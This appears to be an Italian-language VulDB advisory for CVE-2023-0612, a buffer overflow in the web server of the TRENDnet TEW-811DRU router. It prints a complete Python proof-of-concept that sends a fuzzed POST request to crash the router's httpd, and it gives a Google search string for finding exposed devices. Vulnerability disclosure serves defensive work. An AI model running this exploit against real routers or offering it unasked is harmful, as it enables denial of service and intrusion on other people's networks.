TRENDnet TEW-811DRU 1.0.10.0 httpd /wireless/basic.asp buffer overflow

CVSS Punteggio meta temporaneoPrezzo attuale dell'exploit (≈)Punteggio di interesse CTI
7.3$0-$5k0.00

Riassuntoinformazioni

È stata rilevata una vulnerabilità di livello critico in TRENDnet TEW-811DRU 1.0.10.0. É interessato una funzione sconosciuta del file /wireless/basic.asp del componente httpd. Attraverso la manipolazione di un input sconosciuto per mezzo di una vulerabilità di classe buffer overflow. Questa vulnerabilità è registrata come CVE-2023-0612. L'attacco può essere lanciato dalla rete. Inoltre, è presente un exploit disponibile.

Dettagliinformazioni

Una vulnerabilità di livello critico è stata rilevata in TRENDnet TEW-811DRU 1.0.10.0. Riguarda una funzione sconosciuta del file /wireless/basic.asp del componente httpd. Attraverso la manipolazione di un input sconosciuto se causa una vulnerabilità di classe buffer overflow. L'effetto di un attacco con successo non è conosciuto.

La vulnerabilità è stata pubblicata in data 01/02/2023 (non definito). Questa vulnerabilità è identificata come CVE-2023-0612. I dettagli tecnici e un pubblico metodo di utilizzo sono conosciuti.

Un metodo di utilizzo è stato sviluppato in Python. L'exploit è scaricabile da vuldb.com. È stato dichiarato come prova di concetto. Cercando inurl:wireless/basic.asp è possibile trovare obiettivi vulnerabili con Google Hacking. Il codice utilizzato dal exploit è:

import requests,socket
import re
import time
from urllib.parse import urlencode

device_web_ip = '192.168.10.1'

request = {'HEAD': 
{'Host': '{}'.format(device_web_ip), 
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 
'Accept-Encoding': 'gzip, deflate', 
'Content-Type': b'applic?tiHHHHHHHHHHHHHHHHHHHcoded', 
'Content-Length': '2365', 
'Origin': 'http://0.0.0.0:8080', 
'Connection': 'keep-alive', 
'Referer': 'http://0.0.0.0:8080/wireless/basic.asp', 
'Cookie': 'expandable=3c', 
'Upgrade-Insecure-Requests': '1'
}, 
'PARAM': 
{'page': '/wireless/basic.asp', 
b'\xff\x99\xc3\x8a\x02\xff\x7f\\L\xc3\x99\xc3': 'O9SAG0h7UFyvCrT4fVAX', 
b'wl_inpt': b'1', 
'wl_bssid': 2, 
'wl_bss_enabled': b'0\xc9\x8b\xc2\x8f', 
b'wl_\xef\x00\x14\x00\x01': 0, 
'wl_ssid': 'dummy', 
b'l\x80cl\xff\xff\xff': 0, 
'wl_chanspec': 40, 
b'wl_\x90l_\x90': 4, 
'wl_wds0': '00:0c:29:d9:40:fe', 
b'll\x10': '00:0c:29:d9:40:ff', 
'wl_wds2': '00:0c:29:d1:40:fe', 
b'q\xff\xffzwq\xff\xff': '00:0d:29:d9:40:fe', 
b'\x81\x80wwwwwww|wwwwwwwww': 0, 
b'wl\xff\xff\xff\x04\x00timeout': 1, 
b'\x00\x10\x7f\x89FF': 0, 
'wl_country_code': b'\x00\x80', 
'wl_country_rev': 27, 
'wl_radio': b'\x1e', 
'wl_nband': 1, 
'wl_txchain': 3, 
'wl_rxchain': b'3', 
'wl_nmode_protection': 'auto', 
'wl_vlan_prio_mode': b'Rl\x80\x80', 
'wl_rate': 0, 
'wl_rateset': b'h', 
'wl_mrate': 0, 
'wl_bcmdcs': 'off', 
'wl_antdiv': -1, 
'wl_reg_mode': 'off', 
'wl_tpc_db': b'00', 
'wl_obss_coex': b'1', 
'wl_frag': 2346, 
'wl_rts': b'3@', 
'wl_dtim': b'\x7f', 
b'\x85\xff\x10\x05\xff': 100, 
'wl_bcn_rotate': b'1', 
'wl_maxassoc': 128, 
'wl_frameburst': b'j\\', 
'wl_ampdu': b'V\x82', 
'wl_rifs': b'~\x9boo', 
'wl_rifs_advert': b'au\x7fo', 
'wl_stbc_tx': b'\x03', 
'wl_wme': b'nn', 
'wl_wme_no_ack': b'\x10\x00\x9a', 
b'_w\xff\xff': 'on', 
'wme_ap': b'(\x9e\x80', 
'wl_wme_ap_be': 5, 
'wl_wme_ap_be0': b'\x861', 
'wl_wme_ap_be1': 63, 
'wl_wme_ap_be2': 3, 
'wl_wme_ap_be3': 0, 
'wl_wme_ap_be4': 0, 
b'w\x05\xff\xff\x85e_a\x87_beD': 'off', 
'wl_wme_ap_be6': b'\x9a', 
'wl_wme_ap_bk': 5, 
'wl_wme_ap_bk0': b'\xc3\xbc', 
b'wl_wm{_apZbk1': 1023, 
'wl_wme_ap_bk2': 7, 
'wl_wme_ap_bk3': b'008', 
'wl_wme_ap_bk4': 0, 
'wl_wme_ap_bk5': b'ofo', 
'wl_wme_ap_bk6': b'\x80\x80\x00\xdb', 
'wl_wme_ap_vi': 5, 
'wl_wme_ap_vi0': 7, 
'wl_wme_ap_vi1': b'1G\xc3G', 
b'wl_sLe_ap_vi\x80l_sLe_ap_vi2': 1, 
'wl_wme_ap_vi3': 6016, 
'wl_wme_ap_vi4': b'\x03\xe8d\xee\xad', 
'wl_wme_ap_vi5': b'\xff\xff\x17', 
'wl_wme_ap_vi6': 'off', 
b'wl[wmeIap_vo': 5, 
'wl_wme_ap_vo0': 3, 
'wl_wme_ap_vo1': b'\xc3\xae\xf5', 
'wl_wme_ap_vo2': 1, 
'wl_wme_ap_vo3': b'\xff\x05\xff\xff', 
'wl_wme_ap_vo4': b'P', 
b'[lZwne_ap_vd5': b'\xc2\xbf\xc2\x92offf', 
'wl_wme_ap_vo6': b'oLd', 
b'ws]\xc2\x90\xc2\x90Ke': b'x', 
'wl_wme_sta_be': 5, 
'wl_wme_sta_be0': 15, 
b'\xf1\x00\xff\x0f': 1023, 
'wl_wme_sta_be2': 3, 
b'wl_w\x00\x00\x01\x00ta_b\x93\xe8': b'\x81_', 
b't\x81\x803t\x81a3': 0, 
'wl_wme_sta_be5': b'oof', 
'wl_wme_sta_be6': b'boff', 
'wl_wme_sta_bk': 5, 
'wl_wme_sta_bk0': 15, 
'wl_wme_sta_bk1': 1023, 
'wl_wme_sta_bk2': 7, 
b'w\x80\x81\xff\x85m_sta[bk3': b'\x7f', 
'wl_wme_sta_bk4': 0, 
'wl_wme_sta_bk5': b'd', 
'wl_wme_sta_bk6': 'off', 
'wl_wme_sta_vi': 5, 
b'wlTwulTwuekQ\x84': 7, 
'wl_wme_sta_vi1': 15, 
'wl_wme_sta_vi2': 2, 
'wl_wme_sta_vi3': 6016, 
'wl_wme_sta_vi4': 3008, 
'wl_wme_sta_vi5': 'off', 
'wl_wme_sta_vi6': 'off', 
'wl_wme_sta_vo': 5, 
b'wP_wme_s\x00\x01\xff\xe7\x070': 3, 
'wl_wme_sta_vo1': 7, 
b'\x81_7\x8f\x8f\x8f\x8f\x8f\x8f\x8f\x8f_vol__sta': 2, 
'wl_wme_sta_vo3': b'\x80\x00\x80\x0164', 
b'wl_\x98me_sta_\x96o4': b'\xed\x00\x00\x00', 
'wl_wme_sta_vo5': b'Qff', 
'wl_wme_sta_vo6': 'off', 
'wme_txp': 8, 
'wl_wme_txp_be0': 7, 
b'\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02': b'\x90', 
'wl_wme_txp_be2': 4, 
'wl_wme_txp_be3': 2, 
'wl_wme_txp_be4': 0, 
'wl_wme_txp_bk': 5, 
'wl_wme_txp_bk0': b'O', 
b'_wmwme_txp_\x85k1': 3, 
'wl_wme_txp_bk2': 4, 
'wl_wme_txp_bk3': 2, 
'wl_wme_txp_bk4': 0, 
'wl_wme_txp_vi': 5, 
'wl_wme_txp_vi0': 7, 
'wl_wme_txp_vi1': 3, 
'wl_wme_txp_vi2': 4, 
'wl_wme_txp_vi3': 2, 
'wl_wme_txp_vi4': 0, 
'wl_wme_txp_vo': 5, 
b'wl_w\x0b\x0b\n\x0bxp_vo0': 7, 
b't\x01': b'M', 
b'l_wme_me_txp_txp__tx': 4, 
'wl_wme_txp_vo3': b':', 
'wl_wme_txp_vo4': 0, 
'wl_mode': 'ap', 
'wl_ure': 0, 
'wl_bridge': 0, 
'wl_vlan_prio_mode__117_66oo': b'ome', 
b'/wipeless/basic.asp': b'', 
b'B\xc3\xa3\xc2\xa5': b'\x7f\xff\xff\xff', 
'wan_summary_2_pppoe_username': '', 
'mainform_submit': '', 
b'/tapppp.cgi': '', 
'openheader': b''
}, 
'ATTR': 
{'URL': 'http://{}/wireless/basic.asp'.format(device_web_ip), 
'METHOD': 'POST', 
'VERSION': 'HTTP/1.1'
}
}

headers = request['HEAD']
params = request['PARAM']
method = request['ATTR']['METHOD']
url = request['ATTR']['URL']

try:
  r = requests.request(method=method,url=url,headers=headers,data=urlencode(params),verify=False,timeout=5)
except Exception as e:
  print('error:{}'.format(e))

Informazioni riguardo una possibile contromisura non sono al momento disponibili. Si suggerisce di sostituire il prodotto con uno equivalente.

VulDB is the best source for vulnerability data and more expert information about this specific topic.

Prodottoinformazioni

Fornitore

Nome

Versione

Licenza

CPE 2.3informazioni

CPE 2.2informazioni

CVSSv4informazioni

VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

CVSSv3informazioni

VulDB Punteggio meta-base: 7.5
VulDB Punteggio meta temporaneo: 7.3

VulDB Punteggio di base: 7.5
VulDB Punteggio temporaneo: 6.8
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

NVD Punteggio di base: 7.5
NVD Vettore: 🔍

CNA Punteggio di base: 7.5
CNA Vettore (VulDB): 🔍

CVSSv2informazioni

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VettoreComplessitàAutenticazioneRiservatezzaIntegritàDisponibilità
SbloccareSbloccareSbloccareSbloccareSbloccareSbloccare
SbloccareSbloccareSbloccareSbloccareSbloccareSbloccare
SbloccareSbloccareSbloccareSbloccareSbloccareSbloccare

VulDB Punteggio di base: 🔍
VulDB Punteggio temporaneo: 🔍
VulDB Affidabilità: 🔍

NVD Punteggio di base: 🔍

Sfruttamentoinformazioni

Classe: Buffer overflow
CWE: CWE-120 / CWE-119
CAPEC: 🔍
ATT&CK: 🔍

Fisico: No
Locale: No
Remoto: Si

Disponibilità: 🔍
Accesso: Pubblico
Stato: Prova di concetto
Linguaggio di programmazione: 🔍
Scaricare: 🔍
Google Hack: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Previsione dei prezzi: 🔍
Preventivo attuale: 🔍

0-DaySbloccareSbloccareSbloccareSbloccare
OggiSbloccareSbloccareSbloccareSbloccare

Intelligence sulle minacceinformazioni

Interesse: 🔍
Attori attivi: 🔍
Gruppi APT attivi: 🔍

Contromisureinformazioni

Raccomandazione: nessuna contromisura conosciuta
Stato: 🔍

Tempo 0 giorni: 🔍

Sequenza temporaleinformazioni

01/02/2023 🔍
01/02/2023 +0 giorni 🔍
01/02/2023 +0 giorni 🔍
01/03/2023 +28 giorni 🔍

Fontiinformazioni

Stato: Non definito

CVE: CVE-2023-0612 (🔍)
GCVE (CVE): GCVE-0-2023-0612
GCVE (VulDB): GCVE-100-219936
scip Labs: https://www.scip.ch/en/?labs.20161013

Voceinformazioni

Data di creazione: 01/02/2023 14:36
Aggiornato: 01/03/2023 11:23
Cambiamenti: 01/02/2023 14:36 (42), 01/02/2023 17:52 (1), 01/03/2023 11:16 (2), 01/03/2023 11:23 (27)
Completa: 🔍
Inviato: leetsun
Cache ID: 216::103

Inviainformazioni

Accettato

  • Invia #76180: Web crash of TRENDnet router TEW-811DRU (di leetsun)

VulDB is the best source for vulnerability data and more expert information about this specific topic.

Discussione

Ancora nessun commento. Lingue: it + ro + en.

Effettua il login per commentare.

Do you know our Splunk app?

Download it now for free!